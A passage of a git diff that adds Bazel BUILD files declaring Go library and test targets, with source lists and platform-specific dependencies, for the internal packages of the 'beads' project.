"go_library", "go_test") + +go_library( + name = "configfile", + srcs = [ + "backend_messages.go", + "central_config.go", + "configfile.go", + "credentials.go", + "credentials_unix.go", + "credentials_windows.go", + "external_dolt_config.go", + "proxied_server_client_info.go", + ], + importpath = "github.com/steveyegge/beads/internal/configfile", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/storage/backendnames", + ], +) + +go_test( + name = "configfile_test", + srcs = [ + "backend_messages_test.go", + "central_config_test.go", + "configfile_test.go", + "credentials_test.go", + "external_dolt_config_test.go", + ], + embed = [":configfile"], + deps = ["//internal/config"], +) diff --git a/internal/creds/BUILD.bazel b/internal/creds/BUILD.bazel new file mode 100644 index 000000000..f0fb4c241 --- /dev/null +++ b/internal/creds/BUILD.bazel @@ -0,0 +1,20 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "creds", + srcs = [ + "command.go", + "creds.go", + ], + importpath = "github.com/steveyegge/beads/internal/creds", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "creds_test", + srcs = [ + "command_test.go", + "creds_test.go", + ], + embed = [":creds"], +) diff --git a/internal/debug/BUILD.bazel b/internal/debug/BUILD.bazel new file mode 100644 index 000000000..27accb99b --- /dev/null +++ b/internal/debug/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "debug", + srcs = ["debug.go"], + importpath = "github.com/steveyegge/beads/internal/debug", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "debug_test", + srcs = ["debug_test.go"], + embed = [":debug"], +) diff --git a/internal/doltremote/BUILD.bazel b/internal/doltremote/BUILD.bazel new file mode 100644 index 000000000..541e39c79 --- /dev/null +++ b/internal/doltremote/BUILD.bazel @@ -0,0 +1,8 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "doltremote", + srcs = ["remote.go"], + importpath = "github.com/steveyegge/beads/internal/doltremote", + visibility = ["//:__subpackages__"], +) diff --git a/internal/doltserver/BUILD.bazel b/internal/doltserver/BUILD.bazel new file mode 100644 index 000000000..70e9302ab --- /dev/null +++ b/internal/doltserver/BUILD.bazel @@ -0,0 +1,83 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "doltserver", + srcs = [ + "doltserver.go", + "doltserver_unix.go", + "doltserver_windows.go", + "gc_config.go", + "logrotate.go", + "manifest_recovery.go", + "physical_root.go", + "probe.go", + "procattr_linux.go", + "procattr_other_unix.go", + "servermode.go", + "sweep.go", + "sweep_darwin.go", + "sweep_linux.go", + "sweep_other.go", + "sweep_reap_unix.go", + "sweep_suite.go", + "sweep_suite_other.go", + "sweep_suite_unix.go", + ], + importpath = "github.com/steveyegge/beads/internal/doltserver", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/configfile", + "//internal/debug", + "//internal/fdhygiene", + "//internal/githooksenv", + "//internal/gittraceenv", + "//internal/lockfile", + "//internal/storage/doltutil", + "@com_github_dolthub_dolt_go//libraries/doltcore/servercfg", + "@com_github_dolthub_dolt_go//libraries/utils/filesys", + "@com_github_go_sql_driver_mysql//:mysql", + "@in_gopkg_yaml_v3//:yaml_v3", + ] + select({ + "@rules_go//go/platform:windows": [ + "@org_golang_x_sys//windows", + ], + "//conditions:default": [], + }), +) + +go_test( + name = "doltserver_test", + srcs = [ + "configport_test.go", + "doltserver_test.go", + "doltserver_unix_test.go", + "doltserver_windows_test.go", + "gc_config_test.go", + "logrotate_test.go", + "managed_server_proof_test.go", + "manifest_recovery_test.go", + "physical_root_test.go", + "portsource_invariant_test.go", + "portsources_test.go", + "probe_test.go", + "procattr_linux_test.go", + "sweep_darwin_test.go", + "sweep_reap_unix_test.go", + "sweep_suite_linux_test.go", + "sweep_suite_test.go", + "sweep_test.go", + ], + embed = [":doltserver"], + deps = [ + "//internal/config", + "//internal/configfile", + "//internal/githooksenv", + "@com_github_dolthub_dolt_go//libraries/doltcore/servercfg", + ] + select({ + "@rules_go//go/platform:windows": [ + "@org_golang_x_sys//windows", + ], + "//conditions:default": [], + }), +) diff --git a/internal/doltversion/BUILD.bazel b/internal/doltversion/BUILD.bazel new file mode 100644 index 000000000..d54009bb1 --- /dev/null +++ b/internal/doltversion/BUILD.bazel @@ -0,0 +1,28 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "doltversion", + srcs = [ + "cache.go", + "errors.go", + "policy.go", + "probe.go", + "resolve.go", + "version.go", + ], + importpath = "github.com/steveyegge/beads/internal/doltversion", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "doltversion_test", + srcs = [ + "cache_test.go", + "policy_test.go", + "probe_test.go", + "resolve_test.go", + "stubs_test.go", + "version_test.go", + ], + embed = [":doltversion"], +) diff --git a/internal/eventsjournal/BUILD.bazel b/internal/eventsjournal/BUILD.bazel new file mode 100644 index 000000000..aef6f700d --- /dev/null +++ b/internal/eventsjournal/BUILD.bazel @@ -0,0 +1,31 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "eventsjournal", + srcs = [ + "activation.go", + "autoprune.go", + "record.go", + ], + importpath = "github.com/steveyegge/beads/internal/eventsjournal", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/storage", + "//internal/storage/issueops", + ], +) + +go_test( + name = "eventsjournal_test", + srcs = [ + "activation_test.go", + "autoprune_test.go", + ], + embed = [":eventsjournal"], + deps = [ + "//internal/storage", + "//internal/storage/issueops", + "@com_github_data_dog_go_sqlmock//:go-sqlmock", + ], +) diff --git a/internal/fdhygiene/BUILD.bazel b/internal/fdhygiene/BUILD.bazel new file mode 100644 index 000000000..cc99908e4 --- /dev/null +++ b/internal/fdhygiene/BUILD.bazel @@ -0,0 +1,90 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "fdhygiene", + srcs = [ + "fdhygiene.go", + "fdhygiene_unix.go", + "fdhygiene_windows.go", + ], + importpath = "github.com/steveyegge/beads/internal/fdhygiene", + visibility = ["//:__subpackages__"], + deps = select({ + "@rules_go//go/platform:aix": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:android": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:darwin": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:dragonfly": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:freebsd": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:illumos": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:ios": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:linux": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:netbsd": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:openbsd": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:solaris": [ + "@org_golang_x_sys//unix", + ], + "//conditions:default": [], + }), +) + +go_test( + name = "fdhygiene_test", + srcs = ["fdhygiene_unix_test.go"], + embed = [":fdhygiene"], + deps = select({ + "@rules_go//go/platform:aix": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:android": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:darwin": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:dragonfly": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:freebsd": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:illumos": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:ios": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:linux": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:netbsd": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:openbsd": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:solaris": [ + "@org_golang_x_sys//unix", + ], + "//conditions:default": [], + }), +) diff --git a/internal/formula/BUILD.bazel b/internal/formula/BUILD.bazel new file mode 100644 index 000000000..e052a3e30 --- /dev/null +++ b/internal/formula/BUILD.bazel @@ -0,0 +1,47 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "formula", + srcs = [ + "advice.go", + "condition.go", + "controlflow.go", + "expand.go", + "parser.go", + "range.go", + "schema.go", + "schema_gen.go", + "stepcondition.go", + "types.go", + ], + importpath = "github.com/steveyegge/beads/internal/formula", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/beads", + "//internal/git", + "@com_github_burntsushi_toml//:toml", + ], +) + +go_test( + name = "formula_test", + srcs = [ + "advice_test.go", + "condition_test.go", + "controlflow_test.go", + "expand_test.go", + "intent_test.go", + "parser_test.go", + "range_test.go", + "schema_gen_test.go", + "schema_test.go", + "stepcondition_test.go", + ], + embed = [":formula"], + deps = [ + "//internal/beads", + "//internal/formula/schemagen", + "//internal/git", + "//internal/testutil", + ], +) diff --git a/internal/formula/cmd/schemagen/BUILD.bazel b/internal/formula/cmd/schemagen/BUILD.bazel new file mode 100644 index 000000000..66dd67e53 --- /dev/null +++ b/internal/formula/cmd/schemagen/BUILD.bazel @@ -0,0 +1,15 @@ +load("@rules_go//go:def.bzl", "go_binary", "go_library") + +go_library( + name = "schemagen_lib", + srcs = ["main.go"], + importpath = "github.com/steveyegge/beads/internal/formula/cmd/schemagen", + visibility = ["//visibility:private"], + deps = ["//internal/formula/schemagen"], +) + +go_binary( + name = "schemagen", + embed = [":schemagen_lib"], + visibility = ["//:__subpackages__"], +) diff --git a/internal/formula/schemagen/BUILD.bazel b/internal/formula/schemagen/BUILD.bazel new file mode 100644 index 000000000..947eb12bc --- /dev/null +++ b/internal/formula/schemagen/BUILD.bazel @@ -0,0 +1,8 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "schemagen", + srcs = ["schemagen.go"], + importpath = "github.com/steveyegge/beads/internal/formula/schemagen", + visibility = ["//:__subpackages__"], +) diff --git a/internal/git/BUILD.bazel b/internal/git/BUILD.bazel new file mode 100644 index 000000000..0d991c222 --- /dev/null +++ b/internal/git/BUILD.bazel @@ -0,0 +1,17 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "git", + srcs = ["gitdir.go"], + importpath = "github.com/steveyegge/beads/internal/git", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "git_test", + srcs = [ + "gitdir_test.go", + "jujutsu_test.go", + ], + embed = [":git"], +) diff --git a/internal/githooksenv/BUILD.bazel b/internal/githooksenv/BUILD.bazel new file mode 100644 index 000000000..0b524a8fe --- /dev/null +++ b/internal/githooksenv/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "githooksenv", + srcs = ["githooksenv.go"], + importpath = "github.com/steveyegge/beads/internal/githooksenv", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "githooksenv_test", + srcs = ["githooksenv_test.go"], + embed = [":githooksenv"], +) diff --git a/internal/github/BUILD.bazel b/internal/github/BUILD.bazel new file mode 100644 index 000000000..617aea69a --- /dev/null +++ b/internal/github/BUILD.bazel @@ -0,0 +1,37 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "github", + srcs = [ + "client.go", + "errors.go", + "fieldmapper.go", + "mapping.go", + "tracker.go", + "types.go", + ], + importpath = "github.com/steveyegge/beads/internal/github", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/tracker", + "//internal/types", + ], +) + +go_test( + name = "github_test", + srcs = [ + "client_ratelimit_test.go", + "mapping_test.go", + "push_dedup_test.go", + "tracker_test.go", + "types_test.go", + ], + embed = [":github"], + deps = [ + "//internal/config", + "//internal/tracker", + "//internal/types", + ], +) diff --git a/internal/gitlab/BUILD.bazel b/internal/gitlab/BUILD.bazel new file mode 100644 index 000000000..cf9434480 --- /dev/null +++ b/internal/gitlab/BUILD.bazel @@ -0,0 +1,39 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "gitlab", + srcs = [ + "client.go", + "fieldmapper.go", + "links.go", + "mapping.go", + "tracker.go", + "types.go", + ], + importpath = "github.com/steveyegge/beads/internal/gitlab", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/tracker", + "//internal/types", + ], +) + +go_test( + name = "gitlab_test", + srcs = [ + "client_test.go", + "links_test.go", + "mapping_test.go", + "tracker_state_test.go", + "tracker_test.go", + "types_test.go", + ], + embed = [":gitlab"], + deps = [ + "//internal/config", + "//internal/storage", + "//internal/tracker", + "//internal/types", + ], +) diff --git a/internal/gittraceenv/BUILD.bazel b/internal/gittraceenv/BUILD.bazel new file mode 100644 index 000000000..7592cb3ae --- /dev/null +++ b/internal/gittraceenv/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "gittraceenv", + srcs = ["gittraceenv.go"], + importpath = "github.com/steveyegge/beads/internal/gittraceenv", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "gittraceenv_test", + srcs = ["gittraceenv_test.go"], + embed = [":gittraceenv"], +) diff --git a/internal/hooks/BUILD.bazel b/internal/hooks/BUILD.bazel new file mode 100644 index 000000000..004745f8f --- /dev/null +++ b/internal/hooks/BUILD.bazel @@ -0,0 +1,215 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "hooks", + srcs = [ + "hooks.go", + "hooks_otel.go", + "hooks_unix.go", + "hooks_wasm.go", + "hooks_windows.go", + ], + importpath = "github.com/steveyegge/beads/internal/hooks", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/types", + "@io_opentelemetry_go_otel//attribute", + "@io_opentelemetry_go_otel_trace//:trace", + ] + select({ + "@rules_go//go/platform:aix_ppc64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:android_386": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:android_amd64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:android_arm": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:android_arm64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:darwin_386": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:darwin_amd64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:darwin_arm": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:darwin_arm64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:dragonfly_amd64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:freebsd_386": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:freebsd_amd64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:freebsd_arm": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:freebsd_arm64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:illumos_amd64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:ios_amd64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:ios_arm64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:js_wasm": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:linux_386": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:linux_amd64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:linux_arm": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:linux_arm64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:linux_mips": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:linux_mips64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:linux_mips64le": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:linux_mipsle": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:linux_ppc64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:linux_ppc64le": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:linux_riscv64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:linux_s390x": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:netbsd_386": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:netbsd_amd64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:netbsd_arm": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:netbsd_arm64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:openbsd_386": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:openbsd_amd64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:openbsd_arm": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:openbsd_arm64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:solaris_amd64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:windows_386": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:windows_amd64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:windows_arm": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "@rules_go//go/platform:windows_arm64": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//codes", + ], + "//conditions:default": [], + }), +) + +go_test( + name = "hooks_test", + srcs = [ + "hooks_test.go", + "hooks_wasm_test.go", + "wait_test.go", + ], + embed = [":hooks"], + deps = [ + "//internal/types", + ] + select({ + "@rules_go//go/platform:js_wasm": [ + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//attribute", + "@io_opentelemetry_go_otel//codes", + "@io_opentelemetry_go_otel_sdk//trace", + "@io_opentelemetry_go_otel_sdk//trace/tracetest", + ], + "//conditions:default": [], + }), +) diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel new file mode 100644 index 000000000..64944bfaa --- /dev/null +++ b/internal/httpapi/BUILD.bazel @@ -0,0 +1,121 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "httpapi", + srcs = [ + "auth.go", + "batch_apply.go", + "batch_close.go", + "batch_create.go", + "blocking.go", + "claim.go", + "claim_next.go", + "close.go", + "comments.go", + "create.go", + "cursor.go", + "cycles.go", + "delete.go", + "dependency_edit.go", + "doc.go", + "edges.go", + "events.go", + "events_watch.go", + "handlers.go", + "memories.go", + "metadata_cas.go", + "pinning.go", + "problem.go", + "query.go", + "reads.go", + "related.go", + "release.go", + "reopen.go", + "roles.go", + "routes.go", + "server.go", + "settings.go", + "stats.go", + "sweep.go", + "tree.go", + "update.go", + ], + importpath = "github.com/steveyegge/beads/internal/httpapi", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/eventsjournal", + "//internal/httpapi/apigen", + "//internal/storage", + "//internal/storage/domain", + "//internal/storage/uow", + "//internal/types", + "//issueops", + "//memoryops", + "@com_github_go_sql_driver_mysql//:mysql", + "@org_golang_x_net//netutil", + ], +) + +go_test( + name = "httpapi_test", + srcs = [ + "auth_test.go", + "batch_apply_test.go", + "batch_close_test.go", + "batch_create_test.go", + "blocking_test.go", + "brief_projection_test.go", + "claim_next_test.go", + "claim_test.go", + "close_test.go", + "comments_test.go", + "context_test.go", + "count_test.go", + "create_test.go", + "cycles_test.go", + "delete_test.go", + "dependency_edit_test.go", + "edge_counts_test.go", + "edges_test.go", + "events_test.go", + "events_watch_test.go", + "get_issue_test.go", + "list_sort_test.go", + "memories_test.go", + "metadata_cas_test.go", + "problem_test.go", + "project_stamp_test.go", + "reads_test.go", + "ready_count_test.go", + "related_test.go", + "release_test.go", + "reopen_test.go", + "roles_test.go", + "server_test.go", + "settings_write_test.go", + "spec_parity_test.go", + "stats_test.go", + "sweep_test.go", + "timed_provider_binding_test.go", + "tree_test.go", + "update_test.go", + "wire_bijection_test.go", + ], + embed = [":httpapi"], + deps = [ + "//internal/config", + "//internal/eventsjournal", + "//internal/httpapi/apigen", + "//internal/httpapi/spec", + "//internal/storage", + "//internal/storage/domain", + "//internal/storage/uow", + "//internal/types", + "//internal/workapi", + "//issueops", + "//memoryops", + "@com_github_go_sql_driver_mysql//:mysql", + "@in_gopkg_yaml_v3//:yaml_v3", + ], +) diff --git a/internal/httpapi/apigen/BUILD.bazel b/internal/httpapi/apigen/BUILD.bazel new file mode 100644 index 000000000..fad33f8a8 --- /dev/null +++ b/internal/httpapi/apigen/BUILD.bazel @@ -0,0 +1,16 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "apigen", + srcs = [ + "doc.go", + "types.gen.go", + ], + importpath = "github.com/steveyegge/beads/internal/httpapi/apigen", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/eventsjournal", + "//internal/types", + "//issueops", + ], +) diff --git a/internal/httpapi/spec/BUILD.bazel b/internal/httpapi/spec/BUILD.bazel new file mode 100644 index 000000000..46a8bc94c --- /dev/null +++ b/internal/httpapi/spec/BUILD.bazel @@ -0,0 +1,9 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "spec", + srcs = ["embed.go"], + embedsrcs = ["openapi.v0.yaml"], + importpath = "github.com/steveyegge/beads/internal/httpapi/spec", + visibility = ["//:__subpackages__"], +) diff --git a/internal/idgen/BUILD.bazel b/internal/idgen/BUILD.bazel new file mode 100644 index 000000000..baa2d1260 --- /dev/null +++ b/internal/idgen/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "idgen", + srcs = ["hash.go"], + importpath = "github.com/steveyegge/beads/internal/idgen", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "idgen_test", + srcs = ["hash_test.go"], + embed = [":idgen"], +) diff --git a/internal/jira/BUILD.bazel b/internal/jira/BUILD.bazel new file mode 100644 index 000000000..e0045cdf2 --- /dev/null +++ b/internal/jira/BUILD.bazel @@ -0,0 +1,39 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "jira", + srcs = [ + "client.go", + "fieldmapper.go", + "refs.go", + "tracker.go", + "types.go", + ], + importpath = "github.com/steveyegge/beads/internal/jira", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/debug", + "//internal/tracker", + "//internal/types", + ], +) + +go_test( + name = "jira_test", + srcs = [ + "client_test.go", + "refs_test.go", + "retry_test.go", + "tracker_test.go", + ], + embed = [":jira"], + deps = [ + "//internal/config", + "//internal/storage", + "//internal/tracker", + "//internal/types", + "//issueops", + "//memoryops", + ], +) diff --git a/internal/linear/BUILD.bazel b/internal/linear/BUILD.bazel new file mode 100644 index 000000000..e0c952a91 --- /dev/null +++ b/internal/linear/BUILD.bazel @@ -0,0 +1,64 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "linear", + srcs = [ + "client.go", + "fieldmapper.go", + "idempotency.go", + "mapping.go", + "oauth.go", + "parent_reconcile.go", + "staleness.go", + "synclock.go", + "synclock_info_inline.go", + "synclock_info_windows.go", + "synclock_unix.go", + "synclock_wasm.go", + "synclock_windows.go", + "tracker.go", + "types.go", + ], + importpath = "github.com/steveyegge/beads/internal/linear", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/debug", + "//internal/idgen", + "//internal/lockfile", + "//internal/tracker", + "//internal/types", + ] + select({ + "@rules_go//go/platform:windows": [ + "@org_golang_x_sys//windows", + ], + "//conditions:default": [], + }), +) + +go_test( + name = "linear_test", + srcs = [ + "client_test.go", + "idempotency_test.go", + "mapping_test.go", + "oauth_test.go", + "parent_reconcile_test.go", + "staleness_test.go", + "synclock_info_windows_test.go", + "synclock_test.go", + "synclock_windows_test.go", + "tracker_test.go", + ], + embed = [":linear"], + deps = [ + "//internal/tracker", + "//internal/types", + ] + select({ + "@rules_go//go/platform:windows": [ + "//internal/lockfile", + "@org_golang_x_sys//windows", + ], + "//conditions:default": [], + }), +) diff --git a/internal/lockfile/BUILD.bazel b/internal/lockfile/BUILD.bazel new file mode 100644 index 000000000..59c9d3504 --- /dev/null +++ b/internal/lockfile/BUILD.bazel @@ -0,0 +1,61 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "lockfile", + srcs = [ + "lock.go", + "lock_shared_unix.go", + "lock_shared_wasm.go", + "lock_shared_windows.go", + "lock_unix.go", + "lock_wasm.go", + "lock_windows.go", + ], + importpath = "github.com/steveyegge/beads/internal/lockfile", + visibility = ["//:__subpackages__"], + deps = select({ + "@rules_go//go/platform:aix": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:android": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:darwin": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:dragonfly": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:freebsd": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:illumos": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:ios": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:linux": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:netbsd": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:openbsd": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:solaris": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:windows": [ + "@org_golang_x_sys//windows", + ], + "//conditions:default": [], + }), +) + +go_test( + name = "lockfile_test", + srcs = ["lock_test.go"], + embed = [":lockfile"], +) diff --git a/internal/memoryapi/BUILD.bazel b/internal/memoryapi/BUILD.bazel new file mode 100644 index 000000000..bd5802a5d --- /dev/null +++ b/internal/memoryapi/BUILD.bazel @@ -0,0 +1,16 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "memoryapi", + srcs = ["memoryapi.go"], + importpath = "github.com/steveyegge/beads/internal/memoryapi", + visibility = ["//:__subpackages__"], + deps = ["//memoryops"], +) + +go_test( + name = "memoryapi_test", + srcs = ["memoryapi_test.go"], + embed = [":memoryapi"], + deps = ["//memoryops"], +) diff --git a/internal/metrics/BUILD.bazel b/internal/metrics/BUILD.bazel new file mode 100644 index 000000000..ace48feae --- /dev/null +++ b/internal/metrics/BUILD.bazel @@ -0,0 +1,36 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "metrics", + srcs = [ + "flusher.go", + "machineid.go", + "metrics.go", + "prune.go", + "spawn.go", + "userconfig.go", + ], + importpath = "github.com/steveyegge/beads/internal/metrics", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "@com_github_dolthub_eventkit//:eventkit", + "@com_github_dolthub_eventkit//transport/ga4", + "@in_gopkg_yaml_v3//:yaml_v3", + ], +) + +go_test( + name = "metrics_test", + srcs = [ + "machineid_test.go", + "metrics_test.go", + "prune_test.go", + "spawn_reap_test.go", + "spawn_test.go", + "spawn_throttle_test.go", + "userconfig_test.go", + ], + embed = [":metrics"], + deps = ["@in_gopkg_yaml_v3//:yaml_v3"], +) diff --git a/internal/migration/BUILD.bazel b/internal/migration/BUILD.bazel new file mode 100644 index 000000000..b09960e07 --- /dev/null +++ b/internal/migration/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "migration", + srcs = ["freeze.go"], + importpath = "github.com/steveyegge/beads/internal/migration", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "migration_test", + srcs = ["freeze_test.go"], + embed = [":migration"], +) diff --git a/internal/migration/legacysqlite/BUILD.bazel b/internal/migration/legacysqlite/BUILD.bazel new file mode 100644 index 